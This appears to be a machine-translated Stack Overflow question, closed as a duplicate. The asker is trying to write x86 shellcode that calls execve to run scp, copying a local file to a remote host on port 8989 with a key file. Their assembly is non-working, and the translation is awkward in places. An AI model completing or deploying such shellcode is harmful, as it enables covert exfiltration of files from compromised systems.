我想寫一個執行sys_execve("/usr/bin/scp","usr/bin/scp",args,NULL)
的shellcode。
程序集x86:具有多個參數的execve
這是完整的命令:
scp -i /tmp/file -P 8989 /path/file [email protected]:/home/user
的問題是,我需要寄存器的很多(有SCP的後6個令牌):
cdq
push edx
push [email protected]:/home/user
mov edi,esp
push edx
push /path/file
mov esi,esp
push edx
push 8989
mov ecx,esp
push edx
push -P
mov eax,esp
push edx
push /tmp/file
???
push edx
push -i
???
push edx
push /usr/bin/scp
mov ebx,esp
我試圖像這樣推送寄存器:
cdq
push edx
push [email protected]:/home/user
mov edi,esp
push edx
push /path/file
mov esi,esp
push edx
push 8989
mov ecx,esp
push edx
push -P
mov eax,esp
push edx
push edi
push esi
push ecx
push eax
mov ecx,esp
push edx
push /tmp/file
mov edi,esp
push edx
push -i
mov esi,esp
push edx
push /usr/bin/scp
mov ebx,esp
push edx
push ecx
push edi
push esi
push ebx
mov ecx,esp
int 0x80
但使用gdb和libemu我看到只產生垃圾字節。
有關如何解決此問題的任何提示?
的可能重複的[SYS \ _execve從組裝系統調用(http://stackoverflow.com/questions/9342410/sys-execve-system-來電匯編) –